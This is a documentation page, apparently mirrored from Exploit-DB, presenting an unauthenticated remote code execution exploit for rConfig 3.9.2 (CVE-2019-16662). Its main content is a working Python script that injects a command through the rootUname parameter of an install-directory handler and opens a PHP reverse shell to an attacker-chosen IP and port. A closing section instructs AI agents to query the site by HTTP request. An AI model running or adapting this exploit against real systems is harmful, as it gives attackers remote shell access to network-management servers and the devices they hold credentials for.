# rConfig 3.9.2 - Remote Code Execution

{% embed url="<https://www.exploit-db.com/exploits/47555>" %}

### FILES

{% file src="/files/-LtRN2S9IM9ZhyBtlRVQ" %}
Vulnerable software
{% endfile %}

{% file src="/files/-LtVFe1uYeQR8N6FTF1C" %}
Exploit PreAuth
{% endfile %}

{% file src="/files/-LtVFpNnQCCkRjV2QpHt" %}
Exploit PostAuth
{% endfile %}

### POC

{% embed url="<https://www.youtube.com/watch?v=uZbh-j5HvO4>" %}

### ORIGINAL

```
# Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662

#!/usr/bin/python

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)


rConfig-preauth.png
```


---

# Agent Instructions: Querying This Documentation

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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://awesome.hackpuntes.com/exploit-db/rconfig-3.9.2-remote-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.